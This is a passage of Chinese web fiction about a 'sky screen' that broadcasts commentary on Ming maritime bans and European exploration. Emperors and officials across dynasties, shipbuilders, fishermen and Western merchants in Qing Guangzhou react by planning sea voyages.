【大明海禁政策——关上的不是海,是老百姓看世界的眼睛。】
“出海是官府的事,老百姓不能碰。郑和的航线、海图,回来锁在兵部的柜子里,民间看不见,用不上。”
“明成祖朱棣去世,他的儿子登基后停了郑和下西洋,大明的航海探索就此停滞。此后几百年,倭寇袭扰,海禁愈严,中国错过了大航海时代的黄金发育期。一步落后,步步落后。”
画面静止三秒。
雁非的声音响起,很平静:
“或许这不是对错问题。葡萄牙出海时不知道美洲有银子,郑和下西洋时也不知道。都是在当时知道的范围内,做能做的选择。”
“但走得久的那条路,不是靠皇帝一个人高兴,是靠很多人能从中得到好处。”
屏幕上打出最后一句话:
【葡萄牙做到了,西班牙做到了,大明没有。】
画面暗下去。
几秒后,浮现出下期预告:【白银的诅咒】
【明·永乐·北京】
朱棣站在奉天殿前,天幕那些话他听得比谁都认真——这期主题跟他息息相关,除了郑和,就他出场最多。
天幕在讲为什么停——花钱太多,老百姓没得着好处,海禁越来越严,最后关上门。
朱棣一直站着,一动不动。
郑和站在一旁,心下怅然,又有一种“果然如此”的解脱感。
其实从这次回来,朝中各种声音传到他耳朵里,他便有了这种猜测:下西洋这件事,大概只能停在陛下这一朝。
那些弹劾的奏章,那些意味深长的眼神,那些“耗费国力”的窃窃私语,他都听见了,只是不说。
“三保。”
郑和上前一步:“臣在。”
“你听见了吗?你下的西洋,停了。”
郑和低着头:“臣……听见了。”他的声音很轻,像是怕惊动什么。
朱棣沉默了一会儿,月光把他的影子拉得很长,孤零零地铺在汉白玉台阶上。
“停了就停了。”他说,“花那么多钱,老百姓确实没得着什么,这是朕的过错。”
郑和不敢接话,他看见朱棣的背微微弯了一下,又直起来。
朱棣忽然转过身,看着他。
“要是重来一次,该怎么下?”
郑和愣住了,他张了张嘴,想说什么,却发现自己真的答不上来。
怎么下?少带些人?多带些货?让商户跟着?
可这些念头刚冒出来,他自己就先摇了头——朝堂上的大人们不会答应的,户部不会答应的,就连陛下自己,怕也得掂量掂量。
他张了张嘴,喉咙里像堵了什么东西,最后只是摇了摇头。
朱棣等了一会儿,没等到回答。
他点点头,语气带着一点轻快,可那轻快里藏着说不清的东西:“朕也不知道。但天幕能告诉咱们,所以还来得及——找到那些银子。”
“三保。”
“臣在。”
“你这些年记的航路、海图,都誊一份,存到文渊阁。再誊一份……朕留着。”
郑和应了。
他听懂了后半句的意思——有些东西,不能全放在明面上,他抬头看了朱棣一眼,朱棣的脸上没什么表情,只是眼角跳了一下。
对于天幕中的指责,朱棣没有表现出什么不满。
因为他现在是真的觉得自己错了——一点蝇头小利,哪里比得上海外那金山银山!
大殿内其他大臣也松了口气,同时心里隐秘地有些高兴:天幕果然是吉兆,说了他们早就想说却不好说的话。
国库出银子下西洋,结果带回来的东西却全进了陛下私库,这是什么道理嘛。
有人已经开始盘算,等会儿怎
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么递个折子,说说这“公私分明”的事。
只是他们明显高兴早了。只听天幕接着说:“明成祖朱棣去世,他的儿子登基后停了郑和下西洋……”
“成祖?”
这两个字从朱棣嘴里说出来,像是咬着什么东西。
大殿众人只觉头顶一声巨雷劈下——夭寿了!
朱棣盯着天幕,目光冷得吓人。那一瞬间,周围的空气都像凝固了,几个胆小的大臣腿一软,差点跪下去。
太祖是祖,太宗是宗。他爹是太祖,他是太宗——这事儿只要继位的是他儿子,就不可能改!
成祖?
谁改的?这是哪来的狗屁庙号?
天幕上那女子还在讲郑和下西洋的事,讲他死后儿子停了航海,讲海禁越来越严。
但朱棣已经听不进去了。他脑子里反复转着那两个字——成祖。
这庙号不能说不好,但一听就不是正常即位的皇帝。
朱棣这辈子的逆鳞,便是这个!他打了一辈子仗,杀了无数人,坐了这个位子,最恨的就是有人质疑他的正统。
他忽然想起什么,扭头看向身边的太监:“去,把太常寺的官员给朕叫来。朕要问问,庙号这事儿,有没有什么说法……还有,把《礼记》拿来,把《周礼》拿来,把历朝庙号的记录都拿来!”
太监一溜烟跑了。
朱棣站在原地,脸色阴晴不定,天幕那女子说的对——走得久的路,得让很多人能从中得到好处。
可他这个“成祖”,又是让谁得了好处?
【明·洪武·南京】
朱元璋站在菜地里,一动不动。
天幕上那行字出来的时候,他的脸就变了。
[明成祖——朱棣]
成祖。
庙号。
他四儿子的庙号。
他慢慢转过头,看向太子朱标。
朱标的脸是白的。月光照在他脸上,白得像一张纸。
父子俩谁也没说话。只有风吹过菜地,韭菜叶子唰唰响。
成祖——那是死后才有的称呼。朱棣死了叫成祖。
那生前呢?生前是什么?
皇帝。
朱棣当了皇帝。
那太子呢?他的太子去哪了?
14.第 14 章
朱元璋沉默了很久。然后他开口,声音很平:
“老大。”
朱标的声音发涩:“儿臣在。”
“你说,你四弟怎么会当皇帝?”
朱标答不上来。他张了张嘴,想说什么,却发现自己什么都说不出来。
月光下,太子的脸白得吓人。他也不知道这是怎么个情况啊。他四弟能造反?
且不说他有没有这个胆子,朱标也不觉得自己废物到能被他四弟造了反啊!
再说还有那么多兄弟,那么多功臣,那么多跟着他爹打天下的老将——他四弟凭什么能造反?
“莫非……”朱标艰难地开口,“是儿臣出了什么意外?”
朱元璋没接这话,他只是盯着天幕消失的方向,半晌,忽然笑了一声。
“好,好得很。”那笑声里听不出什么情绪,却让朱标后背发凉。
朱标有些麻爪:“爹……”
朱元璋摆摆手:“先不管咋回事吧,你去把你四弟叫来。咱有话问他。”
“爹……”朱标只觉得脑子更疼了。他爹这语气,听着平静,可越是平静,他越害怕。
他记得上一次他爹这么说话,是有人贪墨赈灾粮,结果那人被剥了皮塞了草,挂在府衙门口示众。
“去啊。”朱元璋看了他一眼,那眼神让朱标腿软,“放心,咱不打死他,就是问问,他这皇帝打算怎么个当法,是先打算弄死老子,还是弄死你,还是把你几个儿子一起都弄死。”
朱标站在原地,走也不是,不走也不是。他张了张嘴,想替四弟说句话,可又不知道说什么。
朱元璋没再理他,转身往屋里走。走了几步,又停下来,头也不回地说:
“老大,你说……咱是不是也该想想出海的事?”
打老四这事儿随时,可出海找银子的事儿不能耽误。
【燕王府】
原本一边喝酒一边听天幕“说书”的朱棣,此刻已经成了木头人。
明成祖——朱棣。
他盯着那三个字,脑子里一片空白。
成祖——听着是皇帝的庙号。
他将来会当皇帝?
父皇还在,大哥还在,再不济还有雄英,他怎么会当皇帝?
他想站起来,却发现腿是抖的。腿肚子像被人抽了筋,软得站不住。
“来人!”他喊了一声,声音都劈了,劈得像被踩了脖子的公鸡,“备马!备马!我要进宫!”
“殿下,这大半夜的……”管家小心翼翼地问。他也吓得不轻,说话的声音都在抖。
“大半夜也得去!”朱棣一脚踢翻了面前的案子,酒壶滚出去,酒洒了一地,“再不赶紧,我爹就得先来要我的命!”
他一边往外跑,一边在心里骂:这天幕到底是吉兆还是灾星?
好好的怎么就给他泼脏水呢!他还活得好好的,就给他扣个“成祖”的帽子,这不是要他的命吗?
不行,他得找亲娘救命!这回他爹不杀了他,怕是也得打他个半死!!
他跑出门的时候,脚在门槛上绊了一下,差点摔个狗吃屎。管家伸手要扶,被他一把推开。
“滚开!老子自己会走!”
【秦朝·咸阳宫】
天幕暗下去很久了。
嬴政还站在殿中,一动不动。
十亿两银山。
这几个字在他脑子里反复转,像是有人拿凿子一下一下往里敲。
“李斯。”
李斯上前一步:“臣在。”
“你听见最后那几句话了吗?葡萄牙蹭了一百年,西班牙赌赢了。”
李斯低头:“臣听见了。”
嬴政沉默了一会儿。
殿内的烛火映在他脸上,明明灭灭的。他忽然想起许多年前,自己站在这里,眺望东方,想的还是六国未平、天下未一。如今四海归一,他却发现,这天下比他想的要大——大得多。
“朕要出海。”
---
此言一出,殿中的空气仿佛凝固了。群臣屏息,连烛火都似乎静止不动。
王绾上前一步,躬身道:“陛下,臣斗胆进言——海,虚无缥缈,不可测也。当年齐威王、齐宣王、燕昭王,皆遣人入海求蓬莱、方丈、瀛洲。传说中有仙人居之,有长生不死之药。结果呢?”
嬴政看着他,目光沉沉的,没有说话。
“什么都没找到。”王绾说,“方士之言,不可信也。陛下,海上的事,咱们不知道,不能因为天幕上几句话,就……”
他说不下去了,因为嬴政的眼神让他后背发凉。
冯去疾这时站了出来,声音平和些:“陛下若真想出海,臣斗胆问一句——以我大秦今日之船,能走多远?”
嬴政的目光移到他身上。
“我大秦造船,承吴、越、齐三国之技。”冯去疾缓缓说道,“吴国大翼船,长十丈,可乘九十余人;越国楼船,高十余丈,旗帜加其上。南海郡有船厂,可造长三十丈的大船,船有橹、有舵、有帆——帆在战国时已有。”
他顿了顿,抬头看向殿顶的藻井,像是在估算什么。
“但那是近海。”他的声音沉下来,“要去天幕上说的那个美洲……臣不知,臣只知海很大,比咱们想的都大,那里头的风浪、暗礁、洋流,没人走过,没人知道,臣怕的是人出去了却回不来。”
嬴政沉默。
烛火在他身后投下长长的影子。
他想起徐福。
徐福上书说海中有三神山,有仙人居之,有长生不老药。
他信了,给了船,给了人,给了粮。
现在还没回来。
不知道能不能回来。
不知道会不会回来。
“陛下在想徐福?”李斯轻声问。
嬴政没有回答,他只是望着殿外漆黑的夜空,那一片什么都看不见的黑暗,什么都没有了,又好像什么都在。
李斯顺着他的目光望了一眼,
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然后收回视线:“徐福出海不过两年,是死是活,是去是留,尚不得知。但天幕上说的事,臣以为和仙药是两回事。”
嬴政转过头,看着他。
“天幕上说,那座山是真的。”李斯说,声音不高,却字字清晰,“银子也是真的。而且——臣留意到天幕说的另一句话:‘让老百姓得着好处的事,才能干得久。’这话,臣以为是真话。”
嬴政沉默了一会儿。
殿中安静得能听见烛芯燃烧的噼啪声。
“传朕旨意。”
群臣躬身。
“一、沿海各郡,征集善舟楫之民,无论渔民、船工、商人,悉数造册。有能言海外风物者,重赏——赏爵一级,赐田一顷,益宅九亩,除庶子一人。”
他顿了顿,又补了一句:“爵位自公士起,有功者递进,这不是求仙药,是探路,探路也是功劳。”
“二、徐福若回来,让他即刻进宫,朕要听他细说海上之事。每一日,每一夜,每一阵风,每一道浪,朕都要知道。若他所言属实,当年出海之事,既往不咎,另有封赏。”
“三、命少府集天下良工,研究舟船。要能抗风浪,能远行。告诉那些匠人:谁能造出可渡远洋的大船,授爵一级,赏田宅,其子孙三代免役,功劳大者,依军功爵例,自公士起,逐级升迁,可至大夫。”
“四、寻渔民、商人中有胆识者,让他们出海——不是找仙药,是探路,回来的人,按所记详略、所探远近,论功授爵,能至新地者,得甲首例,赏爵一级,田一顷,宅九亩。若能往返多次,功劳累积,爵位可至五大夫,享税邑三百家。”
嬴政转身,往御座走去。
走了几步,忽然停下来。
“王绾。”
王绾心惊胆战:“臣在。”
“你说朕不该出海,朕记下了,你说方士之言不可信,朕也记下了。”嬴政头也不回,声音在空旷的大殿里回荡,“但朕问你——如果当年齐威王、齐宣王、燕昭王不是去找仙药,而是探路,一年一年往东蹭,蹭到今日,会怎样?”
王绾答不上来。
嬴政继续往前走。
走了几步,又说了一句,声音低下去,像是说给自己听的:
“让百姓得着好处的事,才能干得久……这话,朕记住了。”
他的身影消失在御座旁的侧门里。
殿中烛火摇曳,群臣面面相觑。
李斯站在原地,望着那空荡荡的侧门,忽然想起一件事——陛下刚才那几条旨意,把探海和军功爵连在了一起。
这意味着什么?
意味着从今往后,出海不再是方士们装神弄鬼的勾当,而是和上阵杀敌一样,可以改换门庭的正经路子。
他看了一眼身边的冯去疾。
冯去疾也在看他。
两人都没说话,但都知道对方在想什么
这天幕,怕是要把大秦的路,带到海上去了。
也不知是福是祸。
15.第 15 章
【汉朝·会稽郡·某渔村】
天幕暗下去很久了。
陈大还蹲在船边,手里的旱烟杆咬了半天,没点上火。
月光铺在海面上,一片银白。海浪一下一下地拍着沙滩,像有人在远处叹气。
阿狗从屋里探出头:“爹,还不睡?”
陈大没应声,他脑子里还在转天幕上那些话——十亿两银子,三百座太和殿。
他这辈子没见过十两银子攒在一起的样子,虽然他并不清楚太和殿是什么样的,但总之应该很多就是了。
阿狗走过来,挨着他蹲下。
“爹,天幕上说的那些银子,真能从海上弄回来?”
陈大把烟杆在鞋底磕了磕,没磕出什么来。
“不知道。”他声音闷闷的,“但二十多年前,也有人这么说过。”
阿狗转头看他。
“你二叔。”陈大说,眼睛还盯着海面,“那时候他也是你这么个岁数,县里来了个商人,说海那边有瀛洲,遍地是宝,村里去了二十多个人,都是年轻力壮的。”
“后来呢?”
“三年后回来的没几个。”陈大说,“你二叔命大,回来了。”
阿狗沉默了一会儿。
“那他带回来啥了?”
陈大终于转过头,看了儿子一眼,月光底下,儿子那张脸被海风吹得又粗又黑,眼睛却亮亮的。
“带了条命。”陈大说。
阿狗低下头,拿树枝在地上划来划去,划出一道一道的印子。
“二叔到了瀛洲吗?”
“他其实也不知道那是哪里。”陈大慢慢地说,声音压得很低,“只说那岛上的土,是红的。”
阿狗抬起头。
“红的?”
“嗯,他说从来没见过那种颜色,像血,又不像血。”陈大把烟杆叼回嘴里,“说那岛上的人,拿那种土涂在身上,涂得满脸满身都是。”
阿狗不划地了。
“爹,我想去看看。”
陈大没说话,只拍了拍儿子的脑袋。。
海风从东边吹过来带着腥味,也带着凉意,远处有夜鸟叫了一声,很快又被浪声盖过去了。
“睡觉去,明天早起打鱼。”
他往屋里走。走了几步,又停下来,头也不回地说:
“你二叔后来再没出过远海,就在近处打打鱼,说是够吃就行,走远了容易丢命。”
阿狗还蹲在那里,看着海。
月光底下,海面还是那片银白,什么也看不出来。
远处,村口忽然传来一阵嘈杂声。
有人在喊,听不真切。接着是脚步声,由远及近,急促杂乱。
阿狗站起身,往村口的方向望去。
“里吏——”那声音穿过夜色,拖得长长的,“里吏——县里来人啦——朝廷有令——”
阿狗猛地站了起来,看他爹屋子已经熄灯,他又转过头,看着那片海。
月光底下,海面还是那片银白,什么也看不出来。
但有什么东西,好像不一样了。
【唐朝·贞观十四年·将作监】
敕令到将作监的时候,天刚蒙蒙亮。
阎立德站在院子里,接过中使递来的黄绫,展开,看了三遍。
然后他抬起头,对身边的人说:
“击鼓。”
鼓声响起来。
将作监的工匠们从作坊里出来,从值房里出来,从四面八方聚到院子里。有人手里还握着刨子,有人袖子上沾着木屑,有人边走边系腰带。人越来越多,站满了半个院子,又挤满了整个院子。
阎立德站在台阶上,把那卷黄绫高高举起。
“这是昨夜宫里送来的。”他声音不高,但每个人都听得清清楚楚,“陛下有旨——造大船,走远海。”
院子里安静了一瞬。
静得能听见远处街上的马蹄声,能听见鼓声在耳边嗡嗡的余响。
然后有人小声问:“多大?”
阎立德看着他:“天幕上说的那种。能走一年的。”
没有人说话。几百号工匠站在院子里,你看看我,我看看你,脸上写着同样的两个字:发懵。
阎立德没等他们回过神来,已经开始念敕令:
“一、将作监即日起征集天下良工,研究远洋大船。凡有建言者,无论官民,皆可上呈。”
“二、所需木料、桐油、铁器、麻绳,由少府监支给,不得有缺。”
“三、扬州、广州、登州、莱州四地,各设船场,分头营造。将作监遣官督造。”
“四、工匠应募者,免其家赋役三年,赏钱十千。有奇技者,另给重赏。”
念完了,他收起敕令,看着底下的人。
“都听清楚了?”
没人应声。
阎立德也不等他们应声。他转身往正堂走,边走边吩咐主簿:
“派人去工部、都水监、少府监,让他们把人派过来。一个时辰之内,我要见到人。”
“去库房把所有的船样图纸都找出来。扬州来的,广州来的,登州来的,还有那些胡商进献的,全找出来。”
“派人去扬州、登州、莱州、广州传令。各船场即刻开工准备。工匠不够就征,木头不够就运。三个月之内,我要看到第一根龙骨进场。”
他说着,已经走进正堂。
院子里,几百号工匠还站在那里,没人动。
过了好一会儿,才有人开口,声音轻轻的,像是在问自己:
“这是……这是真的?”
没人回答他。
但鼓声已经停了,人已经慢慢散了。将作监的院子里,只剩下初升的太阳照在那些还懵着的脸上,照在那些还没来得及放下的刨子、斧子、凿子上。
【长安·朱雀大街】
快马从朱雀门驰出的时候,街上的人纷纷避让。
那是驿使,背上插着黄旗,怀里揣着敕令。往南的去广州,往东的去扬州,往东北的去登州、莱州。马蹄踏在石板路上,溅起一串火星。
路边有人指着那匹马问:“这是往哪儿去的?”
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旁边的人答:“没看见黄旗吗?朝廷的急件。八成跟昨晚天幕上的事有关。”
“你怎么知道?”
“猜的。”
那匹马已经跑远了,只剩下马蹄扬起的尘土,在阳光里慢慢落下来,落在那人刚咬了一口的胡饼上。
【扬州·江都县·船场】
船场在长江边上,占了半里长的江岸。
几十个船坞一字排开,有的正在造新船,有的在修旧船。刨花、木屑堆得到处都是,桐油的味道混着江水的气息,飘出很远。江风从东边吹过来,带着腥味,也带着凉意。
船场令姓崔,是个五十来岁的老吏,在船场待了三十年。
他接过敕令,看完之后站在船场门口,愣了半晌。
旁边的小吏问:“令官,怎么了?”
崔船场把敕令递给他:“自己看。”
小吏接过去,看着看着,眼睛越瞪越大:“这……这船要造三十丈?”
“不止。”崔船场说,“还要用铁力木做船底,要用水密隔板,要分头营造——这些东西,咱们造过吗?”
小吏摇摇头。
崔船场没再说话。他转身往船场里走,边走边喊:
“把几个老匠人都叫来!”
不到一炷香的工夫,船场的工棚里挤满了人。
十几个老匠人围成一圈,听崔船场把敕令念了一遍。念完之后,工棚里安静了好一会儿。
江风从门口吹进来,把挂在梁上的油灯吹得晃了晃。
然后一个姓周的老匠人开口了:“令官,这船……是真要造?”
崔船场看着他:“敕令都下来了,还能是假的?”
周老匠不说话了。
另一个姓吴的匠人问:“三十丈的船,龙骨得多长?咱们没有这么长的木头。”
崔船场道:“敕令里没说。但宫里派人来督造,总会带着图纸来。”
“那木头呢?铁力木从岭南运,得走两个月水路。”
“少府监支给。缺什么,报上去。”
“工匠呢?咱们船场才两百多号人,够吗?”
崔船场看着他:“不够就征。短番匠不够,征长上匠;长上匠不够,募明资匠。敕令里写了,免赋役,赏钱十千,有的是人来。”
吴老匠不说话了。
又一个人问:“神女说的那个水密隔板,咱们没见过。怎么造?”
崔船场沉默了一会儿。
“先试。”他说,“在江边造一艘小船,装上隔板,下水试试。能用,就放大;不能用,再想别的法子。”
他顿了顿,看着这些老匠人。
“我知道你们心里没底,我心里也没底。但朝廷要造,咱们就得造。”
“造得成,是你们的本事;造不成,是我的脑袋。”
工棚里又安静了。
江风还在吹,有人咳了一声。
过了很久,周老匠才开口,声音有些涩:
“令官,那……那咱们试试?”
崔船场点点头:“试试。”
16.第 16 章
【扬州·船场·码头】
消息传出去,不到三天,船场门口就排起了长队。
来的人什么样都有。有穿短褐的渔民,皮肤晒得黝黑,手上全是老茧。有穿着半旧绸衫的工匠,是从别的船场赶来的。还有几个年轻人,看着也就二十出头,站在人群里东张西望,脸上带着点儿兴奋,也带着点儿慌。
阳光照在他们脸上,照出一张张陌生的面孔。
崔船场站在门口,挨个看过去。
“叫什么?”
“何大。”
“哪儿来的?”
“江都县本地人。我爹在船场干了三十年,我也跟着干过几年。”
崔船场上下打量了他一眼:“你爹是谁?”
“何老匠。从长安回来的那个。”
崔船场愣了一下,又看了他一眼。
“行,进去吧。”
何大进去的时候,回头看了一眼。
船场门口还排着长队,人越来越多,从门口一直排到江边。阳光照在那些人脸上,照出一张张他没见过、但以后可能会天天见的面孔。
他转过头,往船场里走。
江风从东边吹过来,带着腥味,也带着一点凉意。
【登州·蓬莱县·海边】
登州刺史站在海边,手里攥着那卷黄绫,看着眼前的大海,看了很久。
海水连着天,天连着水,什么也看不见。
他把主簿叫来。
“派人去沿海各村,把告示贴出去。招募工匠,招募愿意出海探路的人。工匠免赋役三年,赏钱十千。出海探路的,免赋役终身,赏钱二十千。”
主簿愣了一下:“终身?”
刺史看着他:“对。终身。”
主簿没再问,转身去了。
当天下午,告示就贴到了蓬莱县的城门口。
围过来的人越来越多,里三层外三层。有人识字,大声念给旁边的人听。念完了,人群里安静了一会儿。
海风从东边吹过来,把告示的一角吹得啪啪响。
然后有人问:“这出海探路……是往哪儿探?”
念告示的人说:“往东。”
“东边有啥?”
“不知道。”
又有人问:“去了还能回来吗?”
没人回答。
人群里,一个年轻人站在那里,盯着那张告示,一动不动。
他叫刘大,是个渔民,爹娘都没了,家里就剩他一个人。
他盯着那行字看了很久。
“愿往者,赐钱二十千,绢十匹,免赋役终身。”
然后他转身走了。
旁边有人喊他:“刘大,你不看了?”
他没回头。
他往海边走。
海风迎面吹过来,把他的衣裳吹得鼓起来。
【广州·蕃坊】
敕令到广州的时候,广州都督冯盎正在蕃坊里坐着。
蕃坊在城西,住了几千蕃客。有波斯的珠宝商,有天竺的香料贩,有昆仑的奴隶牙人,还有那些从师子国、大石国远道而来的使臣和商人。
冯盎把敕令念了一遍,然后看着面前这些蕃客。
“朝廷要造船,要走远海。你们谁出过海?谁知道海那边有什么?”
蕃客们互相看看,没人说话。
过了一会儿,一个波斯商人站出来。他叫摩苏,在广州住了二十年,汉语说得比本地人还顺溜。
“都督,小人出过海。从波斯来广州,走了两年。”
冯盎看着他:“两年?都经过哪儿?”
摩苏说:“从波斯湾出海,沿着天竺的海岸走,走到师子国,再往东,走到室利佛逝,再从室利佛逝往北,走到广州。”
冯盎问:“那往东呢?一直往东,你去过吗?”
摩苏摇摇头:“没去过。但小人祖父说过,往东走,一直走,能走到一个地方,那里的人长得跟咱们不一样,那里的金子便宜得很。”
冯盎眼睛一亮:“你祖父去过?”
摩苏又摇头:“没去过。他也是听人说的。”
冯盎沉默了一会儿。
然后他说:“行,你把这些话都记下来。还有谁有话说?都记下来,朝廷要听。”
【宋·汴梁】
赵匡胤坐在御座上。
“赵普。”
“臣在。”
“你听见那句‘民间不能碰’了吗?”
赵普点头。
赵匡胤沉默了一会儿。殿外传来更夫的梆子声,笃笃笃,三更天了。
“可咱们的民间,倒是能碰海的。”他忽然说,“荆湖、两浙平定了这些年,南边的市舶司,岁入一年比一年厚。”
赵普没接话。他听得出陛下这话里有话——夸也不是,贬也不是,倒像是在问:这路子,该怎么走?
赵匡胤接着说:“开宝四年,咱们在广州设了市舶司。海商来了,抽解一分,余下的让他们卖。这几年,蕃货越来越多,象牙、犀角、香料,宫里用不完,市面上也见着了。”
赵普这才开口:“陛下说的是。臣近日翻看广州的呈报,去年来舶的蕃商,比建隆年间多了三成。”
“多是好。”赵匡胤顿了顿,“可朕也听说,海上有盗贼出没,商船有去无回的,不在少数。”
赵普沉吟道:“陛下,沿海军寨原有战船,但年久失修,水军久不习战。臣以为——”
话未说完,一旁站着的沈义伦忽然上前一步。
“陛下,臣有话要说。”
赵匡胤看了他一眼。沈义伦是开国老臣,素来谨慎寡言,此刻主动开口,倒是少见。
“说吧。”
沈义伦拱手道:“臣曾在蜀地为官,见过长江商船往来之盛。江上行船,尚有盗
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匪,何况出海?臣以为,一要修战船,练水军,沿海军寨须有能战之兵,遇寇则剿,商船方敢出海。”
赵匡胤点头:“嗯。”
“二要明规矩,定税制。”沈义伦接着说,“如今虽有市舶司抽解,但各地章程不一,海商常有被刁难之事。臣听闻,有些地方官吏见蕃商货物丰厚,便压价强买,甚至扣船不放。若此风不止,谁还敢来?”
赵匡胤皱了皱眉:“有这等事?”
“臣也是听闻。”沈义伦低头,“但无风不起浪。臣斗胆建言——不妨明旨申饬沿海州县,敢有亏负蕃商、阻挠贸易者,重置其罪。海商心里有底,自然更愿来。”
赵普在一旁点头:“沈公此言甚是。建隆元年,陛下曾下诏,令各州官吏不得非法滞留商人,除纳税外不得搜查翻检。此诏若能在沿海重申,蕃商必感皇恩。”
赵匡胤沉思片刻,看向沈义伦:“就这些?”
沈义伦顿了顿,又说:“臣还有一事……只是有些冒昧。”
“说。”
“臣在想,朝廷能不能派人出海。”
赵匡胤挑眉:“派人出海?”
“是。”沈义伦斟酌着说,“不是派官船去耀武扬威而是跟着商队走。朝廷可遣使随海商出海,去那些蕃商来的地方看看——他们那里有什么、缺什么、想要什么。”
“摸清了路数,回来告诉海商,他们就知道该贩什么货去,该换什么货回。路子走熟了,来的商船只会更多。”
赵匡胤沉默了一会儿。
“你这三件事,头两件朕听得懂。第三件……”
“臣也只是瞎想。”沈义伦低头,“但天幕说的那些话,臣琢磨着,西洋人能走那么远,不光是官府的事,是很多人从里头得了好处。咱们要是只想收税,不想探路,那路就走不远。”
赵匡胤看了他良久,忽然笑了一声,看向赵普:“你教他的?”
赵普连忙躬身:“臣不敢。沈公这是——这是自己想出来的。”
沈义伦也低头:“臣愚钝,只是听天幕说得多了,心里琢磨。”
赵匡胤没再说话。他站起身,走到殿门口,看着外头的夜色。
夜风吹过,廊下的灯笼晃了晃。远处传来更夫的梆子声,笃笃笃,四更天了。
他想起开宝四年平南汉后,在广州设市舶司的那天。
那时候他只是想,南方平定了,总得有个地方让海商落脚。
没想到这几年,市舶司的岁入竟成了南方诸州里最厚的一笔。
他还想起前些日子,三佛齐国的使者来朝贡,带来的通天犀上竟有一个“宋”字。那时他觉得是天意,现在想来,天意也罢,人意也罢,只要这路子走得通,就该走下去。
“那就走。”他说,声音不高,却清晰得很,“走得再远些。”
赵普和沈义伦对视一眼,齐齐躬身:“陛下圣明。”
17.第 17 章
清·广州十三行
六月的广州,空气黏稠得像化不开的糖浆。
窗外是寻常的午后——卖糖水的阿婆佝偻着腰生火,青烟袅袅升起;挑担子的货郎拖着长腔吆喝“凉茶——薏米——”;老秀才坐在门槛上,用竹尺敲孙子的手心,骂他背不出《三字经》。
一切如常。
然后,一切都停了。
卖糖水的阿婆直起腰,火钳从手里滑落。挑担子的货郎钉在原地,张着嘴,忘了要吆喝什么。
老秀才的竹尺悬在半空,孙子趁机把手缩回去,他也没发现。
他们仰起头,看向天空。
英国商队的托马斯顺着他们的目光往上看,什么都没有。
他好奇的推门走出去。
青石板路被太阳晒得发烫,热气从脚底往上蒸。他走到阿婆的摊子前,她还在仰着头,脸上的皱纹舒展开来,像一朵晒干的花浸了水。
“老人家,你们在看什么?”
阿婆慢慢低下头,看了他一眼,又指指天上:“天幕啊。”
托马斯抬头,空空如也,心里却莫名觉得慌张。
“那是什么?”他让自己保持着冷静,尽可能打听着消息,他并不觉得这个老人说得话是在耍自己,因为这一整条街的人的反应都告诉他,那天上似乎真的有什么东西。
阿婆盯着他看了半晌,又抬头看看天,再看看他,眼神从疑惑变成打量,像看一个走街串巷的耍猴人牵了只三条腿的狗。
“这么大个东西,”她拿手比划了一下,从天顶划到屋檐,“你自己不会瞧?”
“……我眼睛不太好。”托马斯
阿婆张了张嘴,最后嘟囔了一句:“怪事。”
她低头重新捡起火钳,往灶膛里捅了捅,“你们这些洋人,眼睛怎么跟咱们不一样?那天幕这么大声音,咋还听不到?”
托马斯往前一步,影子落在她的糖水摊上,声音虽然在努力克制却依旧有些破音:“天幕有声音?”
“你耳朵也不好啊?”阿婆抬起头,眼睛里多了点东西——不是怀疑,是同情。她摇摇头,语气软下来,“可怜见的。生下来就这样?”
托马斯掏出几枚铜钱,轻轻放在她的摊板上:“麻烦您给我说说,天幕上在讲什么。”
阿婆看了看那几枚铜钱,又看了看他,没有接。
“说你们欧洲的事。”她低头继续擦碗,青花碗在她手里转圈,“说葡萄牙人、西班牙人,在海那边的事。说他们打仗,说他们的国王,说他们的教堂。”她顿了顿,“还说他们杀人。杀了很多很多人。”
托马斯脑子里“嗡”的一声。
他再顾不上保持什么冷静,转身就跑,青石板烫脚,他跑得踉踉跄跄冲进商馆,把所有人都叫了出来。
“你们看见什么了吗?”
没有人看见任何东西。
他们站在院子里,仰着头,脖子仰得发酸,却什么都没看到。
范德朗揉着脖子,脸色发白,他刚才也出去打听消息了,显然也被吓得不清“我来瓷国十五年,从没见过这种事。”
皮埃尔攥紧胸前的十字架,嘴唇嚅动,念念有词,那是一段拉丁文的驱魔祷词。
托马斯站在院子中央,回头看向街上的那些瓷国人,他们还在仰着头,神情专注,像一群孩子在仰望元宵节的烟花。
他第一次感到害怕。
不是害怕那些瓷国人,是害怕那个他们能看见、自己却看不见的东西。
商馆里炸了锅。
“天幕?什么天幕?”
“为什么只有他们能看见?”
“葡萄牙人?西班牙人?在讲什么?”
“上帝啊,这到底是什么东西?”
史密斯来回踱步,皮靴把地板踩得咚咚响。他是大班,在广东待了二十年,见过台风,见过火灾,见过瘟疫,没见过这个。
托马斯站在窗边,看着外面。
一个小时后,那些瓷国人低下头,各自散去,卖糖水的继续生火,挑担子的继续吆喝,老秀才继续骂孩子——孙子跑了,他拄着拐杖在后面追。
一切如常。
但托马斯知道,不一样了。
接下来的几天,恐慌在洋人中间蔓延。
没人再提生意的事,茶叶堆在仓库里没人验,丝绸压在箱底没人看。所有人都在讨论那个天幕,都在猜测那是什么,都在问同一个问题:
为什么他们能看见,我们不能?
英国人、荷兰人、法国人、瑞典人——他们来自不同国家,信不同的教派,平日里为了几箱茶叶能吵上三天。
但此刻都一样:看不见。
而街上的瓷国人,那些卖糖水的、挑担子的、骂孩子的,那些拜菩萨、拜关公、拜木头石头偶像的人——他们全都能看见。
托马斯每天往外跑。他去茶摊旁听,去饭馆角落坐着,去城墙根下蹲着。瓷国人高声谈论天幕的内容,他支着耳朵听,越听越心惊。
他们说的那些事,他知道。
他知道葡萄牙人去了哪里,知道西班牙人做了什么,知道那些教堂里传出的祷告声背后,是怎样的血与火。
他知道。
可那些瓷国人,那些一辈子没出过广州城的人,他们怎么会知道?
那天夜里,托马斯睡不着。
他走到院子里,发现好几个人都在。荷兰人范德朗,法国人皮埃尔,还有几个英国职员——约翰逊、威廉姆斯、那个刚来三个月、还不会说瓷国话的年轻小子。
没人说话。都仰着头,盯着那片什么也没有的夜空。
月亮很亮,照得院子里一片惨白。
范德朗忽然开口,声音沙哑得像砂纸磨过木头:“我在想一件事。”
没人接话。
“我们这么多人,来自不同国家,信不同的东西。”他慢慢说,“英国人信新教,我信加尔文宗,皮埃尔信天主教。我们谁都看不见。”
他顿了顿。
“可那些瓷国人,他们拜的是菩萨,是关公,是木头石头的偶像。他们全都能看见。”
没有人接话。
院子里只剩下虫鸣,一声一声像是从地底钻出来的。
皮埃尔攥紧胸前的十字架,攥得指节发白,他的声音在发抖:“如果是上帝的意思……”
他没说完。
